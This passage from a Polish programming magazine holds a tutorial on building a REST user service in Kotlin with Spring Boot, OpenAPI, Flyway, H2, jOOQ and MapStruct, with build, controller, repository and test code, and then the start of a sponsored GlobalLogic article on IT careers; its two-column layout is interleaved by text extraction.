względu na swoje możliwości (https://kotlinlang.org/#why-kotlin). » Flyway Migration – za pomocą tego narzędzia struktura na-
Podobnie jak Java jest kompilowany do kodu bajtowego (pliki szej bazy będzie aktualizowana przy wgrywaniu nowych wersji
z rozszerzeniem class), który jest następnie wykonywany przez aplikacji. W projekcie będziemy przechowywać pliki sql, które
Wirtualną maszynę Javy (JVM). Ponadto Kotlin umożliwia nam Flyway będzie wgrywał do bazy danych podczas startu aplika-
korzystanie z bibliotek javowych. cji, nie musimy więc robić tego sami. Mamy też gwarancję, że
» Spring Boot – jeden z wielu springowych modułów (https://spring. dany skrypt zostanie wykonany tylko raz pomimo wielokrotne-
io/projects). Umożliwia korzystanie z bibliotek typu starter, któ- go wgrywania nowych wersji czy restartowania aplikacji. Można
re zdejmują z nas ciężar konfigurowania wszystkiego samemu, tutaj też skorzystać z narzędzia Liquibase.
np. za pomocą jednej adnotacji lub parametru konfiguracyjnego » H2 – baza, której użyjemy. Można ją uruchomić wraz z aplika-
możemy włączyć daną funkcjonalność typu: cache, transakcyj- cją. Dodatkowo możemy włączyć możliwość użycia konsoli h2
ność, repozytoria JPA itd. Wymogiem jest zaimportowanie od- – klienta bazy danych w przeglądarce.
powiednich bibliotek.
» Java 11 – poziom kodu bajtowego, do którego ma być skompilo- Po wygenerowaniu projektu musimy go zaimportować w Intellij
wana nasza aplikacja. Będziemy też uruchamiać naszą aplikację IDEA (Open lub File | Open). W przypadku pojawienia się pytania,
na Wirtualną maszynę Javy (JVM). jak zaimportować projekt, należy wybrać Gradle.

Następną czynnością jest dodanie kilku niezbędnych zależności


– Rysunek 2.
Opis wybranych opcji:
» Spring Web – warstwa REST naszej aplikacji. Za pomocą klas
oznaczonych adnotacjami @RestController będziemy udostęp-
niać nasze API – w ramach tego artykułu utworzymy API dla na-
szej usługi zgodnie ze specyfikacją OpenAPI (https://oai.github.
io/Documentation/start-here.html). Domyślnie też zostanie ścią-
Rysunek 3. Konfiguracja Gradle
gnięta wersja embedded kontenera aplikacji sieciowych – Tomcat.

<24> { 4 / 2021 < 98 > }


/ Projektowanie usług w Kotlin i Spring Boot w pigułce /

Następnym krokiem jest konfiguracja naszego projektu i środowiska: items:


$ref: '#/components/schemas/Address'
» Wchodzimy w opcje projektu (Ctrl + Alt + Shift + S lub ⌘ ;). required:
ǿ SDKs – Kotlin SDK oraz JDK 11. W przypadku braku moż- - id
- name
liwości wyboru tych opcji należy zainstalować w następujący - surname
sposób: + | Download JDK | 11, AdoptOpenJDK (HotSpot). - addresses
Address:
ǿ Project | Project SDK – wybieramy JDK 11. type: object
properties:
ǿ Project | Project language level – „11 – Local ...”.
id:
» Wchodzimy w ustawienia środowiska (Ctrl + Alt + S lub ⌘ ,), type: integer
nullable: true
a następnie „Build, Execution, Deployment | Build Tools | Gra- city:
dle” i w miejscu Gradle JVM upewniamy się, że mamy ustawio- type: string
required:
ne wszystko tak jak na Rysunku 3. - id
» Po wykonaniu tych kroków powinniśmy móc poprawnie skom- - city

pilować projekt (Ctrl + F9 lub ⌘ F9), a w katalogu build/classes


znajdziemy skompilowane klasy. Warto tutaj zwrócić uwagę, że schemat User ma pole addresses.
» Projekt będziemy budowali z poziomu Gradle (podwójny Ctrl Jest to lista adresów (schemat Address), które zdefiniowaliśmy i do
lub podwójny ⌃) za pomocą komendy gradle clean build. których odnosimy się poprzez referencję $ref. Pomocny przy edycji
Po jej wykonaniu powinniśmy zobaczyć następujący plik: build/ OpenAPI jest plugin Swagger, który można pobrać w ustawieniach
libs/article-0.0.1-SNAPSHOT.jar. IDE w sekcji plugins.
Następnie zwróćmy uwagę na sekcję paths. Definiując takie ścież-
Otwórzmy teraz plik build.gradle.kts i dodajmy następujący kod: ki, należy używać liczby mnogiej w nazwie i odnosić się bezpośrednio
do zwracanego zasobu, np. /cars, /permissions, /articles.
Listing 1. Konfiguracja wersji Gradle
W naszym API znajdują się dwie ścieżki, poprzez które klienci
tasks.withType<Wrapper> { będą mogli „odpytywać” aplikację o zasoby, a więc o naszych użyt-
gradleVersion = "7.1.1"
} kowników. Dane będziemy przesyłać w formacie JSON. Poniżej krót-
ki opis tego, co mamy w API:
W ten sposób kontrolujemy wersję Gradle, jakiej używamy. Następ- » /users
nie wykonujemy komendę gradle wrapper i kompilujemy projekt. ǿ GET – zwracamy listę ze statusem 200 (Ok). Lista może być
W pliku gradle/wrapper/gradle-wrapper.properties powinniśmy zoba- pusta, gdy nie ma żadnych użytkowników.
czyć wersję Gradle, którą skonfigurowaliśmy. ǿ POST – zwracamy wykreowanego użytkownika. Tutaj uży-
Czas na zdefiniowanie tego, co nasza usługa ma robić. Świat ze- wamy statusu 201 (Created). Istotne jest to, że klient
wnętrzny będzie się z nami komunikował poprzez REST API za po- w ciele metody wysyła nam użytkownika. Zwracany użyt-
mocą protokołu HTTP. Zerknijmy jeszcze na poniższy krótki wpis na kownik będzie miał dodatkowo przypisane userId, które-
stronie: https://devszczepaniak.pl/wstep-do-rest-api/. Nasze API zdefi- go będziemy mogli używać w poniższych zapytaniach.
niowane zostanie według specyfikacji OpenAPI 3 (https://swagger.io/ » /users/{userId} – tutaj będziemy operować na istniejących
specification/). już użytkownikach, których rozróżniamy po parametrze userId
Tworząc usługę, należy pamiętać, by dotyczyła ona jednej dome- (identyfikator użytkownika). Zwracamy status 404 (Not found),
ny, np. użytkowników albo artykułów w naszym sklepie. Nasz projekt jeśli użytkownik o danym identyfikatorze nie istnieje:
będzie między innymi umożliwiał tworzenie, modyfikację i usuwanie ǿ GET – tutaj zwracamy nie listę, a konkretnego użytkownika
użytkowników, którzy oprócz imienia i nazwiska posiadają adresy za- o danym identyfikatorze. Zwracamy status 200.
mieszkania. W aplikacji dostarczonej z projektem zawarto plik artic- ǿ PUT – w tym przypadku aktualizujemy użytkownika o dane
le-api.yml, który możemy skopiować do projektu głównego. W pliku przesłane w ciele zapytania. Zwracamy status 200.
tym znajduje się sekcja, w której zdefiniowaliśmy schematy opisujące ǿ DELETE – usuwamy użytkownika i zwracamy status 204
naszych użytkowników (users) oraz ich adresy (addresses): (No content).

Listing 2 Deklaracja schematów używanych w API


Ponieważ jest to prosta usługa, nie ma potrzeby rozbijania poszcze-
components: gólnych klas na pakiety. Wraz ze wzrostem ilości klas można je po-
schemas:
User: dzielić na pakiety warstwowo, np. resource, service, repository, map-
type: object per, albo funkcjonalnie, tj. użytkownicy, artykuły, koszyki. Można też
properties:
id: podzielić najpierw funkcjonalnie, a następnie warstwowo.
type: integer
nullable: true
Zdefiniujmy teraz klasy kotlinowe, które będą odzwierciedlały te
name: schematy w OpenAPI. Będą to klasy User oraz Address z dostępnego
type: string
surname: projektu. Należy je skopiować. Są to tzw. data classes (kotlinlang.org/
type: string docs/data-classes.html). Kompilator wygeneruje nam dodatkowo takie
addresses:
type: array metody, jak equals czy toString, których nie musimy definiować
jak w przypadku standardowej klasy.

{ WWW.PROGRAMISTAMAG.PL } <25>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Dodajmy teraz kontroler, który będzie naszym punktem styko- We wspomnianej sekcji dependencies deklarujemy zależności,
wym ze światem zewnętrznym. Utwórzmy zwykłą klasę kotlinową jakich chcemy używać, a także określić zakres ich użycia. Zależno-
z nazwą UserResource i skopiujmy poniższy kod: ści z zakresem testImplementation „są dostępne” tylko w ramach
testów. Tych bibliotek nie znajdziemy w naszej wygenerowanej apli-
Listing 3. Klasa UserResource
kacji. Zwróćmy uwagę, że niektóre biblioteki nie mają wersji. Jest to
package pl.programista.article.resource związane z użyciem wtyczki io.spring.dependency-management.
import org.springframework.http.HttpStatus (https://docs.spring.io/dependency-management-plugin/docs/current/
import org.springframework.http.ResponseEntity
import org.springframework.web.bind.annotation reference/html/), która „podpowiada” Gradle domyślne wersje dla
.GetMapping części bibliotek.
import org.springframework.web.bind.annotation
.RequestMapping Następnym krokiem jest dodanie klasy testowej article\src\test\
import org.springframework.web.bind.annotation kotlin\pl\programista\article\UserResourceTest.kt i wklejenie poniż-
.RestController
import pl.programista.article.Address szego kodu:
import pl.programista.article.User
Listing 5. Klasa UserResourceTest
@RequestMapping(path = ["/users"])
@RestController
package pl.programista.article.resource
class UserResource {

@GetMapping import com.atlassian.oai.validator


fun findUsers(): ResponseEntity<List<User>> { .restassured.OpenApiValidationFilter
return ResponseEntity( import io.restassured.http.ContentType
listOf(User(1, "John", "Potato", import io.restassured.module.kotlin.extensions.Given
listOf(Address(4, "Porto")))), import io.restassured.module.kotlin.extensions.Then
HttpStatus.OK) import io.restassured.module.kotlin.extensions.When
} import io.restassured.specification.RequestSpecification
} import org.hamcrest.Matchers.equalTo
import org.junit.jupiter.api.*
import org.springframework.boot.test.context.SpringBootTest
Przyjrzyjmy się następującym elementom: import org.springframework.boot.web.server.LocalServerPort
» @RestController – za pomocą tej adnotacji deklarujemy spring­ @TestInstance(TestInstance.Lifecycle.PER_CLASS)
owego beana (https://www.baeldung.com/spring-bean), do któ- @TestMethodOrder(MethodOrderer.OrderAnnotation::class)
@SpringBootTest(
rego Spring będzie przekierowywał RESTowe zapytania z ze- webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT
wnątrz. Bean to obiekt będący częścią ekosystemu Springa. )
internal class UserResourceTest {
Domyślnie jest tworzona jedna instancja i Spring zajmuje się jej
private lateinit var defaultSpecification
utworzeniem. Wszelkie zależności wymagane w konstruktorze
: RequestSpecification
klas zostaną „wstrzyknięte” przez Springa (https://www.bael-
@BeforeAll
dung.com/inversion-control-and-dependency-injection-in-spring) fun beforeAll(@LocalServerPort localPort: Int) {
» @RequestMapping – na poziomie klasy definiuje domyślne opcje defaultSpecification = Given {
basePath("/users")
dla metod odpowiadających za obsługę żądań, tzw. endpointów. port(localPort)
Zdefiniowaliśmy tutaj ścieżkę /users. Zapytania RESTowe za- accept(ContentType.JSON)
contentType(ContentType.JSON)
wierające tę ścieżkę będą przekierowywane właśnie do tego
filter(
kontrolera. OpenApiValidationFilter("article-api.yml")
» @GetMapping – dodanie tej adnotacji na poziomie metody po- )
}
woduje, że dla metody GET i ścieżki /users zwrócimy listę użyt- }
kowników. Na tę chwilę będziemy zwracać listę zawierającą jed- @Order(10)
nego użytkownika. @Test
fun `Should return users`() {
Given {
Do napisania testów postanowiłem skorzystać z biblioteki RestAs- spec(defaultSpecification)
sured (https://github.com/rest-assured/rest-assured/wiki/Usage#kotlin). } When {
get()
Dodatkowo dodamy jeszcze jedną, za pomocą której sprawdzimy, czy } Then {
odpowiedź zwrócona przez serwer jest zgodna z naszym API. Nasze statusCode(200)
body("$.size()", equalTo(1))
testy będą polegały na wykonywaniu zapytań do uruchomionej apli- body("[0].name", equalTo("John"))
kacji. W pliku build.gradle.kts w sekcji dependencies należy dodać log().body()
}
poniższy kod i skompilować projekt: }
}
Listing 4. Zależności wymagane do testowania

testImplementation( Wyjaśnijmy tu kilka kwestii:


"io.rest-assured:" +
"kotlin-extensions:4.4.0") » @SpringBootTest – deklarujemy tutaj, że nasza klasa będzie
testImplementation( testem springowym, a więc cała aplikacja się uruchomi. W na-
"com.atlassian.oai:" +
"swagger-request-validator-restassured:2.18.1") szym przypadku będzie ona dostępna na losowo wybranym
wolnym porcie.

<26> { 4 / 2021 < 98 > }


/ Projektowanie usług w Kotlin i Spring Boot w pigułce /

» @TestInstance – standardowo nie wiemy, w jakiej kolejności java zamiast kotlin. Do tego katalogu będziemy kopiować wygene-
wykonają się metody testowe. Nie mamy na to żadnej gwaran- rowane pliki przez wtyczkę Jooq.
cji. Jest to pożądane, ponieważ wymusza na nas pisanie nie- Skonfigurujmy teraz generator Jooqa. Z pliku build.gradle.kts na-
zależnych od siebie testów. Jednak w przypadkach takich jak leży skopiować linie od sekcji jooq (linia nr 66) w dół.
nasz, preferuję określenie wykonania metod za pomocą @Test­ Zwróćmy uwagę na kilka kwestii:
MethodOrder. Poprawia to czytelność i zmniejsza ilość kodu » org.jooq.meta.extensions.ddl.DDLDatabase (https://www.
w klasie testowej. Z drugiej strony bywa też męczące i mylące jooq.org/doc/3.1/manual/code-generation/codegen-ddl/) – dzięki
przy debugowaniu, ponieważ musimy pamiętać, żeby zawsze temu nie musimy posiadać instacji bazy danych, z której gene-
uruchamiać całą klasę testową, a nie pojedynczy test. rator mógłby wygenerować pliki. Wystarczy wskazać skrypty,
» @BeforeAll – w tej metodzie ustawiamy domyślne wartości które utworzyliśmy wcześniej.
dla naszych testów. Zwróćmy uwagę, że „wstrzykujemy” port, » properties.add(Property().withKey("sort").
na którym dostępna jest nasza aplikacja. Ta metoda będzie wy- withValue("flyway"))– dzięki tej opcji generator będzie się
konana przed wszystkimi testami. Istotna jest również metoda stosował do kolejności wgrywania skryptów takiej samej jak
filter. To tutaj dołączamy walidatora, który sprawdzi zgod- Flyway, gdy wgrywa skrypty w bazie danych.
ność z OpenAPI. » packageName = "pl.programista.article.jooq" – pakiet
dla wygenerowanych klas.
Wykonując komendę gradle test, możemy wykonać testy naszej
aplikacji. Jeśli chcemy sprawdzić, czy walidator OpenAPI działa, mo- Ponadto zmodyfikowaliśmy sekcję tasks.getByName("generateJooq")
żemy w klasie Address zmienić typ pola city na String? i w endpo- i dodaliśmy blok doLast. Instrukcje z tego bloku będą wykonane na
incie, w którym zwracamy listę użytkowników, zamiast Porto wpisać końcu funkcji generateJooq (task w Gradle – https://docs.gradle.
null. Test „Should return users” nie wykona się poprawnie. org/current/dsl/org.gradle.api.Task.html), w której Jooq generuje pliki.
Przyjrzyjmy się teraz warstwie bazodanowej. Jak już wspomnia- Dzięki takiemu podejściu mamy kontrolę nad tymi plikami, które
łem wcześniej, skorzystamy z biblioteki Flyway, która domyślnie ostatecznie trafiają do projektu. Można w sekcji copy dodać meto-
szuka skryptów (SQL) w katalogu article\src\main\resources\db\ dy include albo exclude, żeby odfiltrować niechciane pliki. Czę-
migration. Należy więc skopiować wszystkie pliki z tego samego sto bywa tak, że takiej możliwości nie mamy na etapie konfiguracji
katalogu z dostarczonego projektu. Tutaj trzeba zwrócić uwagę na wtyczki generującej kod.
ich nazewnictwo (https://flywaydb.org/documentation/concepts/ Przejdźmy do konfiguracji bazy danych dla testów. W tym celu
migrations#naming), które określa kolejność wykonywania skryp- w article\src\test\resources należy utworzyć plik application.properties
tów w bazie danych. Flyway utworzy ponadto tabelę, dzięki której z poniższą zawartością:
będzie w stanie stwierdzić, co zostało już wykonane.
Listing 6. Ustawienia testowe aplikacji
Dodajmy teraz wtyczkę Jooq do sekcji plugins w pliku build.gra-
dle.kts: spring.datasource.url=jdbc:h2:mem:testdb
spring.datasource.driverClassName=org.h2.Driver
spring.datasource.username=sa
id("nu.studer.jooq") version "6.0" spring.datasource.password=password

oraz w sekcji dependencies: W ten sposób skonfigurowaliśmy bazę danych h2, która będzie bazą
pamięciową, a więc za każdym razem, gdy wykonamy testy, będzie
jooqGenerator("org.jooq:jooq-meta-extensions:3.15.1")
jooqGenerator("com.h2database:h2") używana nowa instancja. Listę dostępnych ustawień Spring Boota
można sprawdzić w dokumentacji na stronie:
Następnie skompilujmy projekt i dodajmy na końcu skryptu poniż- https://docs.spring.io/spring-boot/docs/current/reference/html/applica-
szy kod: tion-properties.html#application-properties.data.
Prawdopodobnie podczas pisania artykułu natrafiłem na buga.
sourceSets {
main { W przypadku gdyby wystąpił problem ze zbudowaniem projektu
java { (gradle clean build), adnotację @SpringBootApplication w klasie
srcDir("src/generated-jooq/kotlin")
} ArticleApplication.kt należy zmodyfikować w poniższy sposób:
}
} Listing 7. Modyfikacja SpringBootApplication

@SpringBootApplication(
exclude = [R2dbcAutoConfiguration::class])
Sekcja sourceSets określa katalogi ze źródłami (https://docs.gradle.
org/current/dsl/org.gradle.api.tasks.SourceSet.html). Domyślnie mamy Jak widać, domyślna autokonfiguracja to czasem obosieczny miecz.
dwa takie sety: main oraz test. Odnoszą się one do katalogów, od- Powyższym sposobem można jednak zapobiec takiej sytuacji.
powiednio article\src\main oraz article\src\test. Za pomocą przed- Wykonajmy teraz polecenie gradle generateJooq. W katalogu
stawionego powyżej kodu dodajemy do main źródła z katalogu src/ \article\src\generated-jooq powinniśmy zobaczyć wygenerowane źró-
generated-jooq. Składnia jest tu nieco myląca ze względu na słowo dła odzwierciedlające naszą bazę danych.

{ WWW.PROGRAMISTAMAG.PL } <27>
PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH

Czas zacząć to wszystko spinać w całość. Skopiujmy z projektu kla- Następnie dodajmy UserRepository.kt:
sę UserResourceTest. Będziemy teraz po kolei implementować nasze
Listing 10. Klasa UserRepository
endpointy, tak aby testy zaczęły wykonywać się poprawnie. Wszystkie
metody w UserResource.kt należy zastąpić następującymi: package pl.programista.article

import org.jooq.DSLContext
Listing 8. Niezaimplementowane endpointy
import org.springframework.stereotype.Repository
import pl.programista.article.jooq.tables
@GetMapping
.records.AddressRecord
fun findUsers(): ResponseEntity<List<User>> {
throw NotImplementedError() import pl.programista.article.jooq.tables
} .records.UserRecord
import pl.programista.article.jooq.tables
@PostMapping() .references.ADDRESS
fun createUser(@RequestBody user: User) import pl.programista.article.jooq.tables
: ResponseEntity<User> { .references.USER
throw NotImplementedError()
} @Repository
@GetMapping("/{userId}") class UserRepository(private val dslContext
fun findUser(@PathVariable("userId") userId: Long) : DSLContext) {
: ResponseEntity<User> {
fun findAll(): List<UserRecord>
throw NotImplementedError()
} = dslContext.selectFrom(USER).fetch();

@PutMapping("/{userId}") fun upsert(userRecord: UserRecord): UserRecord {


fun modifyUser(@PathVariable("userId") userId: Long,
val insertValues = userRecord.intoMap()
@RequestBody user: User): ResponseEntity<User> {
throw NotImplementedError() val updateValues
} = userRecord.intoMap().minus(USER.U_ID.name)

@DeleteMapping("/{userId}") return dslContext.insertInto(USER)


fun deleteUser(@PathVariable("userId") userId: Long) .set(insertValues)
: ResponseEntity<User> { .onDuplicateKeyUpdate()
throw NotImplementedError() .set(updateValues)
} .returning()
.fetchSingle()
}
Przedstawione powyżej metody to odpowiedniki wszystkich endpoin- fun upsert(addressRecord: List<AddressRecord>) {
tów zadeklarowanych w pliku article-api.yml. Ponieważ żaden z nich
val queries = addressRecord.map {
nie jest zaimplementowany, nasze testy nie wykonają się poprawnie
val insertValues = it.intoMap()
(komenda gradle test). Co ważne, na tym etapie interesuje nas to, val updateValues = it.intoMap()
żeby zweryfikować, czy nasze endpointy są widoczne z zewnątrz. Za- .minus(ADDRESS.A_ID.name)
tem wszystkie testy, które nie przeszły, powinny mieć w logach wpisy dslContext.insertInto(ADDRESS)
kotlin.NotImplementedError: An operation is not imple- .set(insertValues)
.onDuplicateKeyUpdate()
mented, a także poniższe odpowiedzi z serwera: .set(updateValues)
}
Listing 9. Przykładowa odpowiedź z serwera sygnalizująca
nieoczekiwany błąd dslContext.batch(queries).execute()
}
{ }
"timestamp": "2021-08-16T19:02:22.908+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/users/123456" » @Repository – „oznacza” klasę UserRepository jako springo-
} wego beana. Inaczej mówiąc, Spring utworzy jedną instancję tej
klasy, która będzie dostępna dla innych obiektów w kontenerze.
Aplikacje Spring Bootowe są z reguły trzywarstwowe: (https://www.baeldung.com/spring-component-repository-service).
» Warstwa kontrolerów odpowiada za komunikację ze światem » DSLContext – ułatwia pisanie i wykonywanie kwerend w bazie
zewnętrznym. W naszym przypadku jest to UserResource.kt. danych.
» „Poniżej”, od strony klientów naszej usługi, znajduje się warstwa
serwisów. Zazwyczaj pośredniczy ona w komunikacji pomiędzy Wspomniałem wcześniej o mapowaniu obiektów na poziomie ser-
warstwą kontrolerów a warstwą bazodanową – repozytoriów. wisów. Z pomocą przyjdzie nam tutaj procesor adnotacji Mapstruct
Dobrą praktyką jest oddzielać klasy obrazujące dane z bazy od (https://mapstruct.org/documentation/stable/reference/html/). Proceso-
tych, które są wykorzystywane na poziomie kontrolerów. Na ry adnotacji działają na etapie kompilacji. Na podstawie adnotacji w ko-
tym właśnie poziomie będziemy wykonywać niezbędne mapo- dzie takie procesory są w stanie wygenerować kod za nas albo wykonać
wania pomiędzy nimi jakieś walidacje. Mapstruct wygeneruje dla nas klasy, które będą odpo-
» „Najniżej” mamy wspomnianą warstwę repozytoriów. Odpo- wiadały za kopiowanie danych z jednego obiektu do drugiego:
wiada ona za wykonywanie zapytań do bazy i mapowanie wyni- » build.gradle.kts | plugins – dodajmy wtyczkę, dzięki której bę-
ków do obiektów reprezentujących te dane. dziemy mogli w Kotlinie wykorzystywać procesory adnotacji:

<28> { 4 / 2021 < 98 > }


/ Projektowanie usług w Kotlin i Spring Boot w pigułce /

ǿ kotlin("kapt") version "1.5.21" .toUser(userRecord, addressesRecords)


}
» build.gradle.kts | dependencies – dodajmy procesor Mapstruct: }
ǿ implementation("org.mapstruct:mapstruct:1.4.2.Final")
ǿ kapt("org.mapstruct:mapstruct-processor:1.4.2.Final")
» istnieje możliwość zainstalowania wtyczki wspomagającej Map- Zwróćmy uwagę na to:
structa w naszym IDE. W ustawieniach należy wybrać „Plugins”, » w jaki sposób kreujemy mappera,
a następnie wyszukać wtyczkę po frazie „mapstruct support” » w jaki sposób pytamy o adresy, które są przechowywane w in-
w marketplace. nej tabeli. („dociągamy” je, używając do tego klucza obcego
» należy skopiować UserMapper.kt i skompilować projekt. W efek- ADDRESSES_U_ID_FK).
cie powinna wygenerować się poniższa klasa: article\build\
generated\source\kapt\main\pl\programista\article\UserMappe- I wreszcie zmodyfikujmy naszą klasę UserResource.kt:
rImpl.java.
Listing 12. Implementacja dwóch endpointów w UserResource

Kolejnym krokiem jest dodanie klasy UserService.kt: …

@RestController
Listing 11. Klasa UserService class UserResource(private val userService
: UserService) {
package pl.programista.article
@GetMapping
import org.mapstruct.factory.Mappers fun findUsers(): ResponseEntity<List<User>> =
import org.springframework.stereotype.Service ResponseEntity(userService.findAll(), HttpStatus.OK)
import org.springframework.transaction
.annotation.Transactional @PostMapping()
import pl.programista.article.jooq fun createUser(@RequestBody user: User)
.keys.ADDRESS_U_ID_FK : ResponseEntity<User>
import pl.programista.article.jooq.tables = ResponseEntity(userService.save(user)
.records.UserRecord , HttpStatus.CREATED)

@Service …
class UserService(
private val userRepository: UserRepository
) {
Zaimplementowaliśmy tutaj dwa endpointy. Teraz część testów po-
private val userMapper: UserMapper = Mappers.
getMapper(UserMapper::class.java) winna wykonać się prawidłowo. Proszę zwrócić uwagę na test „Sho-
fun findAll(): List<User>
uld create user”. Zachęcam do zaimplementowania reszty we wła-
= userRepository.findAll() snym zakresie.
.map {
val addresses
Usługę można uruchomić poleceniem gradle bootRun albo z kon-
= it.fetchChildren(ADDRESS_U_ID_FK) soli komendą java -jar article-0.0.1-SNAPSHOT.jar. Aplikacja
userMapper.toUser(it, addresses)
} z projektu uruchamiana jest na porcie 8091. Następnie wchodząc na
@Transactional
adres http://localhost:8091/users, powinniśmy w odpowiedzi otrzy-
fun save(user: User): User { mać pusta tablicę JSONową, ponieważ nie mamy utworzonego żad-
var userRecord: UserRecord
= userMapper.toUsersRecord(user) nego użytkownika.
userRecord Do wykonywania zapytań RESTowych można też użyć narzędzia
= userRepository.upsert(userRecord)
postman (https://www.postman.com/). Po zainstalowaniu należy za-
var addressesRecords
= userMapper.toAddressesRecords(user.addresses)
importować nasz plik article-api.yml (upewniając się, że zaznaczone
addressesRecords jest utworzenie kolekcji). Postman na jego podstawie utworzy nam
.mapNotNull { it.aId }
.let { userRepository.deleteAllAddressesByIdNotIn(it) } kolekcję zapytań.
Mam nadzieję, że powyższy artykuł okaże się przydatny. Zaprezen-
addressesRecords
.forEach { it.uId = userRecord.uId } towane tu podejścia nie są jedynymi słusznymi. Najważniejszym jest,
userRepository.upsert(addressesRecords)
by w ramach projektu trzymać się wcześniej wybranych rozwiązań.
addressesRecords
= userRecord.fetchChildren(ADDRESS_U_ID_FK)
return userMapper

ŁUKASZ KOKOT
Od wielu lat pisze w Javie. Coraz chętniej i częściej programuje również w Kotlinie. Przygodę z tym
językiem zaczął od pisania skryptów i pluginów w Gradle na potrzeby projektów zawodowych. Obecnie
pracuje na stanowisku Starszego Programisty w Grupie WASKO. W wolnej chwili wędruje po górach,
a także spędza czas ze znajomymi przy planszówkach.

{ WWW.PROGRAMISTAMAG.PL } <29>
Nawet najbardziej rozchwytywany zawód
świata nie jest gwarantem pracy w przyszłości
Każdy nowy zawód odpowiada na konkretną potrzebę. Dzięki wynalazkom
oraz rozwojowi społecznemu w przeszłości powstały takie profesje, jak para-
solnik, mleczarz czy latarnik. Z biegiem czasu straciły jednak na znaczeniu.
Masowa produkcja sprawiła, że zepsute parasole się wyrzuca, bo dużo taniej
i łatwiej kupić nowe, mleko dostępne jest w każdym sklepie, a latarnie zapa-
la za ludzi komputer. Choć wydaje się to nieprawdopodobne, branża IT rów-
nież nie jest wolna od takiego ryzyka. Niektóre profesje w jej obrębie mogą
w przyszłości także odejść do lamusa.

O tym, jak nieobliczalny może być rynek pracy i jak dynamicznie bardziej w chwili, gdy algorytmy zaczną prezentować wnioski w zro-
się zmienia, świadczy przykład data scientist. Na początku poprzed- zumiałej i wygodnej dla człowieka formule.
niej dekady profesja została uznana przez Harvard Business Re- Specjaliści z branży IT są obecnie niezwykle pożądani na rynku
view za najseksowniejszy zawód XXI wieku. Dzisiaj prognozuje się,
1
pracy i wydawałoby się, że nie muszą martwić się o zawodową przy-
że wkrótce nie będzie już potrzebna. Wszystko za sprawą postępów szłość. Nic bardziej mylnego. Nawet oni nie są wolni od zagrożeń,
czynionych przez sztuczną inteligencję, która z powodzeniem może które mogą wpływać na dalszą karierę. Wielu inżynierów i develo-
analizować dane, ale również opracowywać je w konstruktywny spo- perów zdaje sobie z tego sprawę i podczas poszukiwania pracy zwra-
sób. Pozycja osób pracujących jako data scientist osłabnie jeszcze ca uwagę przede wszystkim na rodzaj projektu, a także na branżę,
w której działają klienci pracodawcy. Kluczowe znaczenie mają tech-
1. https://hbr.org/2012/10/data-scientist-the-sexiest-job-of-the-21st-century

<30> { 4 / 2021 < 98 > }


nologie, z którymi będą mieć kontakt w codziennej pracy. Nie bez zna-
czenia jest również natura projektu i możliwość kształtowania otacza-
jącej nas rzeczywistości. Większość ludzi chce mieć poczucie, że dzięki Technologie i projekty
swojej pracy zmienia otaczający nas świat. W sektorze IT można zna- GlobalLogic
leźć firmy, które to umożliwią – mówi Kamila Szkwarek, Head of Ta-
GlobalLogic jest spółką należącą do grupy Hitachi i liderem
lent Acquisition Group w GlobalLogic. w branży usług inżynierii cyfrowej. Pomagamy naszym klien-
Co jest najgorsze dla kariery developerów? Stagnacja. Podczas tom projektować i tworzyć innowacyjne produkty, platformy
i cyfrowe doświadczenia na miarę współczesnego świata.
rozmów z kandydatami aplikującymi do GlobalLogic regularnie
Wspieramy marki w tworzeniu wartości w całym cyklu życia
przekonujemy się, że specjaliści IT chcą się rozwijać oraz tworzyć produktu – nie tylko opracowując najnowocześniejsze tech-
nowe rozwiązania. Wyzwania cię napędzają? Nie ma dla ciebie czegoś nologie, ale także adaptując już istniejące produkty do przy-
zwyczajeń zaawansowanych cyfrowo użytkowników.
takiego jak niepewność, bo nowy kierunek prac czy zmiana techno-
Realizujemy projekty dla firm z branży:
logii to szansa na naukę i rozwój? W takim razie perfekcyjnie wpisu- » automotive
jesz się w profil osoby, która obecnie szuka pracy w branży. » healthcare
» fintech
Rozwój zawodowy odgrywa kluczową rolę i specjaliści dostrze-
» industry
gają to, opierając się na własnych doświadczeniach. W ankiecie » retail
przeprowadzonej przez Lumina Foundation2 58% respondentów » telecom

zauważyło znaczącą zmianę w umiejętnościach potrzebnych na ich Chcesz zmieniać świat pacjentów, kierowców, konsumen-
stanowiskach, która nastąpiła w ciągu zaledwie pięciu lat. Nowe tów? Wpływać na sposób funkcjonowania banków, fabryk
i wielkich wydawców mediowych? Możesz to zrobić w Glo-
rozwiązania technologiczne ułatwiają pracę w wielu zawodach, czę- balLogic, pracując w modelu zdalnym lub hybrydowym bądź
sto też zmieniają sposób wykonywania pewnych czynności, dlatego też stacjonarnie w jednym z sześciu biur zlokalizowanych we
specjaliści muszą nieustannie kontrolować sytuację i starać się z tych Wrocławiu, Krakowie, Szczecinie, Koszalinie, Zielonej Górze
i Bydgoszczy.
możliwości robić praktyczny użytek. Jednocześnie 94% ankietowa- W jakich technologiach możesz się rozwijać i specjalizo-
nych podkreśliło, że widzi szanse na dalszy rozwój kariery tylko www wać?
edukacji i szkoleniach. » Java
» Embedded C/C++
Na co więc warto zwracać uwagę, aplikując do pracy w IT? » AUTOSAR
Na pewno na oferowane możliwości rozwoju i poszerzania wiedzy. » IoT
Czołowe firmy z sektora rozwijają intensywnie zespoły L&D (Lear- » technologiach związanych z Quality Assurance

ning and Development), które całą swoją uwagę koncentrują właśnie A to tylko wycinek możliwości, które u nas znajdziesz! Poznaj
nas i nasze projekty. Znajdź propozycję idealną dla siebie na
na tym aspekcie. Taki dział prężnie działa w GlobalLogic, dbając
https://www.globallogic.com/pl/careers/.
o zadowolenie specjalistów z rozwoju zawodowego.
Na czym polega jego rola? Skrupulatnie obserwuje rynki i wska-
zuje pracownikom możliwości rozwoju, które się przed nimi otwie-
rają, a także blisko współpracuje z organizacjami, które wyznaczają
trendy i wprowadzają innowacje w swoich sektorach. Przykładem XXI wieku, który – mimo znakomitego fachu w rękach – z czasem
tego rodzaju aktywności jest „GlobalLogic Academy. Course: AUTO- straci swoją pozycję, nie nadążając za szybkim postępem technolo-
SAR”, w której praktyczne umiejętności zdobywają programiści i inży- gicznym lub przegrywając z ambitnymi konkurentami. Dlatego, szu-
nierowie zaangażowani w projekty automotive. Reagujemy w ten spo- kając pracy, warto zwracać uwagę na oferty, które rozwój zawodowy
